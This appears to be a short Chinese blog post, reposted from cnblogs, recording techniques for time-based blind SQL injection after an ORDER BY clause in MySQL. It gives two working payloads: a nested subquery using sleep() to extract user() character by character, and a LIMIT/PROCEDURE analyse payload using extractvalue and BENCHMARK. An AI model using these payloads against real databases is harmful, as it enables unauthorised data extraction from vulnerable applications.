mysql order by基于时间的盲注

  order by后面的注入,一般先尝试报错注入,无报错的时候可以通过rand(ture)和rand(false)来进行bool型盲注,但是今天遇到完全没有数据回显的(也就是数据库中没有数据)情况,这就比较麻烦了。记录一下sql语句

  参考文章:https://www.cnblogs.com/babers/p/7397525.html

       https://www.cnblogs.com/Vinson404/p/7246792.html?utm_source=itdadao&utm_medium=referral

简单点说:目前好像只有5.5和5.7下能注入,5.6不行(个人观点,不一定对)

由于本地只有mysql5.6 和5.7,这里复现漏洞时用的5.7

5.7 语句    order by (select 1 from(select 1 and if(ascii(substr((user()),1,1))=114,sleep(5),1))x)#     (备注一下,mysql规定嵌套的表名中必须要有别名)

5.7  这种情况可以转化为limit后的注入

ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)


猜你喜欢

转载自www.cnblogs.com/jinqi520/p/11599535.html